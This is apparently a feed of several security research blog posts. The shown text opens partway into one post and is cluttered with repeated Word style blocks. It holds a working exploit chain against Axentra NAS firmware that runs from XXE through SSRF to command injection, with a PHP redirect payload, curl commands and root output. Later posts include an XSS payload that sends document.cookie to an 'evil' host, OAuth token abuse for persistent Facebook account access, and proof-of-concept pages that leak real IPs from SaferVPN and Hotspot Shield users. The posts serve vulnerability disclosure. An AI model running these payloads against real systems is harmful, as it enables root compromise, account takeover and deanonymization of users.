    Now we have complete command execution. In order to chain this bug with our XXE and SSRF we have to make the xml parser send a request to http://127.0.0.1:2000/ with the payload. Although sending a normal http request to the daemon was not a problem, things fell apart when we tried to append the payload as a url location in the xml file, the parser failed with an error (Invalid Url) so we had to change our approach. After a few failed attempts we figured out the libxml http client correctly follows 301/2 redirections and this does not make the parser fail since the url given in the redirection does not pass through the same parser as the initial url in the xml data, so we created a little php script to redirect the libxml http client to http://127.0.0.1:2000/ with the payload embedded as a url path. The script is shown below.
    redir.php:
    <?php
    if(isset($_GET['red']))
    {
        header('Location: http://127.0.0.1:2000/a.php?d=<?xml version="1.0"?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name="disk">a`id>/var/www/html/html/pwned.txt`</parameter></proxy_request>""'); //302 Redirect
    }
    ?>
    Then we ran this on our server the commands we used and the final output is given below.
    curl command and output:
    curl -kd '<?xml version="1.0"?><!DOCTYPE requests [ <!ELEMENT request (#PCDATA)> <!ENTITY % dtd SYSTEM "http://SolarSystem:9091/redir.php?red=1"> %dtd; ]> <requests> <request href="/api/2.0/rest/3rdparty/facebook/" method="GET"></request> </requests>' http://axentra.local/api/2.0/rest/aggregator/xml
    <?xml version="1.0"?>
    <responses>
    <response method="GET" href="/api/2.0/rest/3rdparty/facebook/">
    <errors><error code="401" msg="Unauthorized"/></errors>
    </response>
    </responses>%
    root@Server:~# php -S 0.0.0.0:9091
    PHP 7.0.32-0ubuntu0.16.04.1 Development Server started at Thu Nov  1 16:02:16 2018
    Listening on http://0.0.0.0:9091
    Document root is /root/...
    Press Ctrl-C to quit.
    [Thu Nov  1 16:02:43 2018] axentra.local:39248 [302]: /redir.php?red=1


    As seen above the php script sent a 302 (Found) response to the libxml http client which should redirect it to http://127.0.0.1:2000/a.php?d=<?xml version="1.0"?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name="disk">a`id>/var/www/html/html/pwned.txt`</parameter></proxy_request>""      The above redirection should execute our command injection and create a pwned.txt file in the webroot with the output of id, the following request checks the output and existence of the file.
    curl command and output:
    curl -k http://axentra.local/pwned.txt
    uid=0(root) gid=0(root)
    <!-- /* Font Definitions */ @font-face {font-family:Arial; panose-1:2 11 6 4 2 2 2 2 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536859905 -1073711037 9 0 511 0;} @font-face {font-family:"Cambria Math"; panose-1:2 4 5 3 5 4 6 3 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536870145 1107305727 0 0 415 0;} @font-face {font-family:Calibri; panose-1:2 15 5 2 2 2 4 3 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536870145 1073786111 1 0 415 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-unhide:no; mso-style-qformat:yes; mso-style-parent:""; margin:0in; margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} .MsoChpDefault {mso-style-type:export-only; mso-default-props:yes; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} @page WordSection1 {size:8.5in 11.0in; margin:1.0in 1.0in 1.0in 1.0in; mso-header-margin:.5in; mso-footer-margin:.5in; mso-paper-source:0;} div.WordSection1 {page:WordSection1;} -->
    Yay! our pwned.txt has been created and the exploit was successful. We have a video demo showing the full exploit chain from XXE to SSRF to RCE being used to create a reverse root shell. I would like to thank WSP and SD for encouraging this research.  <!-- /* Font Definitions */ @font-face {font-family:Arial; panose-1:2 11 6 4 2 2 2 2 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536859905 -1073711037 9 0 511 0;} @font-face {font-family:"Cambria Math"; panose-1:2 4 5 3 5 4 6 3 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536870145 1107305727 0 0 415 0;} @font-face {font-family:Calibri; panose-1:2 15 5 2 2 2 4 3 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536870145 1073786111 1 0 415 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-unhide:no; mso-style-qformat:yes; mso-style-parent:""; margin:0in; margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} .MsoChpDefault {mso-style-type:export-only; mso-default-props:yes; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} @page WordSection1 {size:8.5in 11.0in; margin:1.0in 1.0in 1.0in 1.0in; mso-header-margin:.5in; mso-footer-margin:.5in; mso-paper-source:0;} div.WordSection1 {page:WordSection1;} -->

    Timeline

    This research was the basis of us looking into more NAS devices, like WD MyBook and discovering multiple root RCE vulnerabilities that ultimately impacted millions of devices. The full research is published on WizCase blog here. Unfortunately, Axentra, most of the affected vendors, and even WD, chose not to respond. Some NAS have responded saying there will NOT BE any patches for the vulnerabilities because Axentra is unreachable. 
    <!-- /* Font Definitions */ @font-face {font-family:Arial; panose-1:2 11 6 4 2 2 2 2 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536859905 -1073711037 9 0 511 0;} @font-face {font-family:Verdana; panose-1:2 11 6 4 3 5 4 4 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-1593833729 1073750107 16 0 415 0;} @font-face {font-family:"Cambria Math"; panose-1:2 4 5 3 5 4 6 3 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536870145 1107305727 0 0 415 0;} @font-face {font-family:Calibri; panose-1:2 15 5 2 2 2 4 3 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536870145 1073786111 1 0 415 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-unhide:no; mso-style-qformat:yes; mso-style-parent:""; margin:0in; margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} .MsoChpDefault {mso-style-type:export-only; mso-default-props:yes; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} @page WordSection1 {size:8.5in 11.0in; margin:1.0in 1.0in 1.0in 1.0in; mso-header-margin:.5in; mso-footer-margin:.5in; mso-paper-source:0;} div.WordSection1 {page:WordSection1;} -->

    <!-- /* Font Definitions */ @font-face {font-family:Arial; panose-1:2 11 6 4 2 2 2 2 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536859905 -1073711037 9 0 511 0;} @font-face {font-family:"Cambria Math"; panose-1:0 0 0 0 0 0 0 0 0 0; mso-font-charset:1; mso-generic-font-family:roman; mso-font-format:other; mso-font-pitch:variable; mso-font-signature:0 0 0 0 0 0;} @font-face {font-family:Calibri; panose-1:2 15 5 2 2 2 4 3 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536870145 1073786111 1 0 415 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-unhide:no; mso-style-qformat:yes; mso-style-parent:""; margin:0in; margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} .MsoChpDefault {mso-style-type:export-only; mso-default-props:yes; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} @page WordSection1 {size:8.5in 11.0in; margin:1.0in 1.0in 1.0in 1.0in; mso-header-margin:.5in; mso-footer-margin:.5in; mso-paper-source:0;} div.WordSection1 {page:WordSection1;} --> <!-- /* Font Definitions */ @font-face {font-family:Arial; panose-1:2 11 6 4 2 2 2 2 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536859905 -1073711037 9 0 511 0;} @font-face {font-family:Verdana; panose-1:2 11 6 4 3 5 4 4 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-1593833729 1073750107 16 0 415 0;} @font-face {font-family:"Cambria Math"; panose-1:0 0 0 0 0 0 0 0 0 0; mso-font-charset:1; mso-generic-font-family:roman; mso-font-format:other; mso-font-pitch:variable; mso-font-signature:0 0 0 0 0 0;} @font-face {font-family:Calibri; panose-1:2 15 5 2 2 2 4 3 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536870145 1073786111 1 0 415 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-unhide:no; mso-style-qformat:yes; mso-style-parent:""; margin:0in; margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} .MsoChpDefault {mso-style-type:export-only; mso-default-props:yes; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} @page WordSection1 {size:8.5in 11.0in; margin:1.0in 1.0in 1.0in 1.0in; mso-header-margin:.5in; mso-footer-margin:.5in; mso-paper-source:0;} div.WordSection1 {page:WordSection1;} --> <!-- /* Font Definitions */ @font-face {font-family:Arial; panose-1:2 11 6 4 2 2 2 2 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536859905 -1073711037 9 0 511 0;} @font-face {font-family:Verdana; panose-1:2 11 6 4 3 5 4 4 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-1593833729 1073750107 16 0 415 0;} @font-face {font-family:"Cambria Math"; panose-1:2 4 5 3 5 4 6 3 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536870145 1107305727 0 0 415 0;} @font-face {font-family:Calibri; panose-1:2 15 5 2 2 2 4 3 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536870145 1073786111 1 0 415 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-unhide:no; mso-style-qformat:yes; mso-style-parent:""; margin:0in; margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} .MsoChpDefault {mso-style-type:export-only; mso-default-props:yes; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} @page WordSection1 {size:8.5in 11.0in; margin:1.0in 1.0in 1.0in 1.0in; mso-header-margin:.5in; mso-footer-margin:.5in; mso-paper-source:0;} div.WordSection1 {page:WordSection1;} --> <!-- /* Font Definitions */ @font-face {font-family:Arial; panose-1:2 11 6 4 2 2 2 2 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536859905 -1073711037 9 0 511 0;} @font-face {font-family:"Cambria Math"; panose-1:2 4 5 3 5 4 6 3 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536870145 1107305727 0 0 415 0;} @font-face {font-family:Calibri; panose-1:2 15 5 2 2 2 4 3 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536870145 1073786111 1 0 415 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-unhide:no; mso-style-qformat:yes; mso-style-parent:""; margin:0in; margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} .MsoChpDefault {mso-style-type:export-only; mso-default-props:yes; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} @page WordSection1 {size:8.5in 11.0in; margin:1.0in 1.0in 1.0in 1.0in; mso-header-margin:.5in; mso-footer-margin:.5in; mso-paper-source:0;} div.WordSection1 {page:WordSection1;} --> <!-- /* Font Definitions */ @font-face {font-family:Arial; panose-1:2 11 6 4 2 2 2 2 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536859905 -1073711037 9 0 511 0;} @font-face {font-family:Verdana; panose-1:2 11 6 4 3 5 4 4 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-1593833729 1073750107 16 0 415 0;} @font-face {font-family:"Cambria Math"; panose-1:2 4 5 3 5 4 6 3 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536870145 1107305727 0 0 415 0;} @font-face {font-family:Calibri; panose-1:2 15 5 2 2 2 4 3 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536870145 1073786111 1 0 415 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-unhide:no; mso-style-qformat:yes; mso-style-parent:""; margin:0in; margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} .MsoChpDefault {mso-style-type:export-only; mso-default-props:yes; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} @page WordSection1 {size:8.5in 11.0in; margin:1.0in 1.0in 1.0in 1.0in; mso-header-margin:.5in; mso-footer-margin:.5in; mso-paper-source:0;} div.WordSection1 {page:WordSection1;} --> <!-- /* Font Definitions */ @font-face {font-family:Arial; panose-1:2 11 6 4 2 2 2 2 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536859905 -1073711037 9 0 511 0;} @font-face {font-family:Verdana; panose-1:2 11 6 4 3 5 4 4 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-1593833729 1073750107 16 0 415 0;} @font-face {font-family:"Cambria Math"; panose-1:2 4 5 3 5 4 6 3 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536870145 1107305727 0 0 415 0;} @font-face {font-family:Calibri; panose-1:2 15 5 2 2 2 4 3 2 4; mso-font-charset:0; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:-536870145 1073786111 1 0 415 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-unhide:no; mso-style-qformat:yes; mso-style-parent:""; margin:0in; margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} a:link, span.MsoHyperlink {mso-style-priority:99; color:#0563C1; mso-themecolor:hyperlink; text-decoration:underline; text-underline:single;} a:visited, span.MsoHyperlinkFollowed {mso-style-noshow:yes; mso-style-priority:99; color:#954F72; mso-themecolor:followedhyperlink; text-decoration:underline; text-underline:single;} .MsoChpDefault {mso-style-type:export-only; mso-default-props:yes; font-family:Calibri; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} @page WordSection1 {size:8.5in 11.0in; margin:1.0in 1.0in 1.0in 1.0in; mso-header-margin:.5in; mso-footer-margin:.5in; mso-paper-source:0;} div.WordSection1 {page:WordSection1;} -->
    tag:blogger.com,1999:blog-8591474299777249503.post-4160045584527462637
    Extensions
    THE BIG BAD WOLF - XSS AND MAINTAINING ACCESS
    Show full content

    Today, we are the big bad wolf. We have malicious intents. As we should, right? It is commonly believed in our community we need to think like an attacker to effectively be security researchers; the kind of situation where to be one, you must be the other as well.
    Understanding what an application does and how it does it always gives you a broader attack surface. If you know how to abuse them properly, understanding features and how they work may even give you privileges far more dangerous than those which you get from XSS. I'll explain what I mean by that later.


    If you have malicious intents, what exactly happens immediately after you compromise a target through a client side attack? What’s the worst you can do; how fast can you perform sensitive actions and how long can you keep doing it right after you compromise a target? I'll be using the big boy that has state of the art security to mitigate client-side attacks, Facebook, as an example. I do hope you enjoy the following read.
    I still read write-ups about XSS that are limited in what they can do because the attack surface isn't clear enough for the security researchers who find them. Remember, you have a grey hat now, you are the big bad wolf. You don't want to just pop an alert, you want to move laterally, you want to explore, you want to maintain access and you want to feel like you have a reliable root shell on the target in regards to what you can do.
    Here is a typical XSS payload lots of security researchers and bug hunters still use:

    <script>new Image(); x.location="https://evil/"+document.cookie</script>

    That still is the example used to describe how bad XSS can get. steal de cookys. Does it do any harm? Maybe on weaker targets. Can we improve it? let's see.


    On black box audits, you often encounter webapps:

    • without or bypassable and broken CSP,
    • without HTTPOnly attributes on sensitive cookies,
    • that don't require password to change email,
    • that got their own applications,
    • with various caching methods,
    • with oauth, 
    • with third party extensions, 
    • with session fixation,
    • with internal APIs,
    • with CRLF bugs,
    • that support service workers and appcache,
    • with login/out csrf,
    • without or with SAMEORIGIN XFO,
    • that run wordpress, or other easily code injectable platforms,
    • that don't require password when even changing passwords,
    • that run local services
    • that are integrated to native code like Electron


    Now, these are all uninteresting, low priority, bugs and "features", but they are GOLD if you have something like XSS.

    If for instance you interact with a webapp that doesn't require a password to change email, you can use your XSS to change the email, reset the account with your new email and maintain access. But that's not all subtle and lateral. You want the big picture, you want to monitor privilege and then abuse it for maximum impact.

    WE ARE THE BIG BAD WOLF.

    In terms of blind XSS vulnerabilities, there is an even bigger attack surface people often don't think about. Since its a blind XSS, you are most likely dealing with backend people, which means local environments, services, and potentially sensitive localhost permissions. In many cases, if you have a script to monitor all the ports and services of localhost, you can simply turn this into RCE. If they have Jenkins and other sensitive services running, that's easy loot. If they are authenticated with Wordpress, thats RCE. Remember at that point, they are an entry-point to their LAN Intranet. You could simply exploit a local router RCE vulnerability from a bXSS to get easy shells in the network.

    Nowadays, secure websites widely implement a bunch of security best practices so your document.cookie attacks don't do you much. Even after defeating CSP, most sensitive and non-sensitive cookies are marked with flags such as secure, HTTPOnly and recently SameSite flag attributes minimizing your ability to hijack sessions and maintain access.

    For those who don't know, if a cookie has HTTPOnly flags it means the cookie cannot be accessed through client side scripts so even if you have an XSS, you can't just send the cookies to wherever you want.

    Example, XSS on Facebook

    Assume you have an XSS on Facebook, but most sensitive actions require a password, sometimes mouse gesture, and you can't just steal the cookies. It seems what you can do with your script may not be much to maintain access and turn into a complete account takeover. Luckily Facebook supports OAuth applications (one example above) and lets you create your own apps and also debug your apps.

    Facebook have developer profiles letting you create applications that can request access through OAuth, but that'd require passwords and SOP access at developer.facebook.com -- It is doable but there are easier methods. For instance, one can generate an all profile-scoped token through the Graph API Explorer, and use that token to always query to read & write to the user profile.

    Why Graph API Explorer?
    • You don't need to verify a developer profile.
    • It is a public application.
    • It has been shown to be owned by Facebook (trust+).
    • The scope is not limited.

    ... And there we have it ladies and gents, while we may not have the cookie, we still can get an almost invisible access to an application we can query full read/write privileges as the user. Even if user is paranoid or aware of an attacker’s presence, and changes the password, there lies our application and its token, untouched. We simply use an XSS payload that grants access to Graph API Explorer with all profile-scopes and use this token to move laterally.

    When a user changes their email or current password, they are asked to sign out of all devices or to stay signed in. What they don't see is a prompt question of which of their integrated applications to revoke access to. Facebook responded about this saying they won't be changing that anytime soon.

    Conclusion
    Cross site scripting still is one of the most widespread and common vulnerability types in web applications today. It can be found in many forms and I believe it still will be a problem in the coming years. The bugs and features I mentioned above are nothing more than misconfigurations in systems, almost always empowering client-side attacks to do more.
    I believe there is a lot that can be researched on this; regarding maintaining access on web-applications. I strongly agree such research results maybe useful for future forensic intrusion detection improvements.


    I would like to thank @filedescriptor and @luffy_lover for proof-reading this. 
    tag:blogger.com,1999:blog-8591474299777249503.post-6025703375421007024
    Extensions
    SaferVPN CVE-2018-10308, from DoS to deanonymization
    Show full content

    TL,DR; After my last month's finding in Hotspot Shield, I decided to look at and audit more VPNs to see how many of the major VPN vendors are vulnerable to information leakage. Together with File Descriptor, we decided to look at 3 random major VPN clients to see what we can find. Our research was supported by the privacy advocate vpnmentor.

    We initially selected PureVPN, Hotspot Shield, and Zenmate as pilot targets and went ahead with the research. what we've found surprised us: of all 3 vpn's we've tested, we've discovered all of them leak sensitive data.

    The vulnerabilities would have allowed governments, hostile organizations, or individuals to identify the actual IP address or DNS of a user, and in some cases hijack the user's traffic. While Zenmate’s leak was somewhat minor compared to the two other VPNs, its still important. You can find the details of the vulnerabilities found here, here or here.

    The fact that we found leaks in all the VPNs that we tested is worrying, and led us to believe VPNs may not be as safe as many may think. This opened doors for further research. Our guess is that most VPNs have similar leaks and that users should take this into consideration when using VPNs.

    Details

    In this blog post, I will explore a vulnerability I found in SaferVPN Chrome Extension. the vulnerability, CVE-2018-10308 as simple as it is, should help malicious actors retrieve vital information such as IP addresses when a user visits a website.

    When a series of simultaneous requests to a nonexistent server is sent, the VPN extension easily crashes, letting us leak real user IPs, DNS and other details which the VPN is suppose to hide.

    This is a weird bug, as I didn't know chrome extensions could be dosed until now. I've tried putting breakpoints through the extension's debugger to see what is causing it and they seem to intentionally kill the extension when it resolves many non existent dns queries.

    Here is a PoC that works on versions before 3.1.10

    <script type="text/javascript">  
      var head = document.getElementsByTagName('head')[0];  
      var img = document.createElement('img');  
      img.src= "https://nonexistant.nonexistant.nonexistant";  
      function kill(){  
       for(var i=0;i<12;i++){  
        head.appendChild(img);  
        }
      }
      kill();  
      window.onload = setTimeout(function () {  
       var webService = "https://freegeoip.net/json/";  
         var script = document.createElement("script");  
         script.type = "text/javascript";  
         script.src = webService+"?callback=MyIP&format=jsonp";  
         document.getElementsByTagName("head")[0].appendChild(script);  
       }, 9000);   
      function MyIP(response) {  
        document.getElementById("ipaddress").innerHTML = response.ip;  
      }
    </script>  
    <div id = "ipaddress"></div>


    Timeline

    Thu, Mar 29 - contacted SaferVPN
    Thu, Apr 19 - patch live.

    You can write to me here if you'd like to talk about funding similar research.




    tag:blogger.com,1999:blog-8591474299777249503.post-3511427838891376180
    Extensions
    Hotspot Shield CVE-2018-6460, Sensitive Information Disclosure with XSSI
    Show full content

    Lately, I’ve been interested in VPN clients. I was focusing my research on paid commercial VPN clients with 2M+ installs. one of the clients that stood out was Hotspot Shield, with similar builds on Android, Windows and Chrome. With each carrying over 3M+ installs worldwide.


    While analyzing this application, I noticed its riddled with bugs that allow sensitive information disclosure. In this blog post, I will explore how it is possible to leak a user’s data, such as what wifi they are connected to while they are using Hotspot Shield.

    Update Feb 8th, 2018: Hotspot Shield have released a patch that fixes these issues in version 7.4.6.
    Details
    Hotspot Shiled when turned on runs its own web server to communicate with its own VPN client. The server runs on a hardcoded host 127.0.0.1 and port 895. It hosts vital JSONP endpoints that return multiple interesting values and configuration data.
    for example, http://localhost:895/status.js generates a sensitive JSON response that reveals whether the user is connected to VPN, to which VPN he/she is connected to what and what vpn network they are connected to, their country, network (wifi) name other information. There are other multiple endpoints that return sensitive data including configuration details.
    $ curl -si http://127.0.0.1:895/status.js
    HTTP/1.0 200 OK

    { “connect_state": "CONNECTED", "daemon_state": {"timestamp": "1517471953", "state_name": "", "description": "HYDRA", "tun_ip":   "[reducted]", "remote_ip": "[reducted]", "network_name": "shitcakes", ", "country_code": "ET"}
    }
    While that endpoint is presented without any authorization, status.js is actually a JSON endpoint so there are no sensitive functions to override, but when we send the parameter func with $_APPLOG.Rfunc, it returns that function as a JSONP name. We can obviously override this in our malicious page and steal its contents by supplying a tm parameter timestamp, that way we can provide a logtime.
    $ curl -si http://127.0.0.1:895/status.js?func=$_APPLOG.Rfunc&tm=1511564738932
    HTTP/1.0 200 OK

    $_APPLOG.Rfunc({ “connect_state": "CONNECTED", "daemon_state": {"timestamp": "1517471953", "state_name": "", "description": "HYDRA", "tun_ip":   "[reducted]", "remote_ip": "[reducted]", "network_name": "shitcakes", ", "country_code": "ET"
    }})
    After the cache responses expire, the resolution will alternate between those two IP addresses and our binded ip address can steal the sensitive response with the following payload.
    <script> var $_APPLOG = function() { return 1; } $_APPLOG.Rfunc = function(leak){    alert(JSON.stringify(leak)); } </script> </head> <script>    var head = document.getElementsByTagName('head')[0];    var script = document.createElement('script');    script.id = 'jsonp';    script.src = 'http://127.0.0.1:895/status.js?func=$_APPLOG.Rfunc&tm='+(new Date().getTime());    head.appendChild(script); </script>
    Timeline
    Mid November - multiple attempts to contact AnchorFree and HSS engineers.
    Tue, Nov 28, 2017 - contacted Beyond Security's SSD for assistance with disclosure.
    Sat, Jan 27, 2018 - beyond security confirms they've got neither a response nor an ETA for a fix.
    Tue, Jan 30, 2018 - public disclosure as an SSD advisory (0day)
    Wed, Jan 31, 2018 - CVE-2018-6460 assigned.
    Wed, Feb 7th, 2018 - patch released with version 7.4.6






    tag:blogger.com,1999:blog-8591474299777249503.post-5497721785542542439
    Extensions
    Exploiting odd behaviors in MS Edge & IE to bypass Facebook’s Linkshim
    Show full content

    The following post is inspired by an all charset unicode shazz by @insertscript. After I saw it being referred in a tweet by Gareth Heyes, I immediately started fuzzing for more characters Internet Explorer & MS Edge may interpret horribly, and confuse the anchor host parser to ultimately use and bypass Facebook's Linkshim.
    Fuzzing:

    <a href=”/[$]example.com” id=”fuzzmeiah”>fuzz</a>
    <script>
    
    chars = [];
    for(i=0;i<=0xffff;i++){
        if(document.getElementById('fuzzmeiah').hostname==”example.com”) {
          chars.push(i);
          console.log(chars.join('\n'))
         }
    }
    
    </script>
    

    Result:

    Character 1: 〱- 'VERTICAL KANA REPEAT MARK' (Ux3031)

    The first one works for both IE & Edge is 0xE3 0x80 0xB1 (e380b1 aka 〱) , when plugged alone or after a forward slash, confusing the parsers to misinterpret the hostname.

    <a href=”/〱example.com” id=”fuzzmeiah”>fuzz</a>

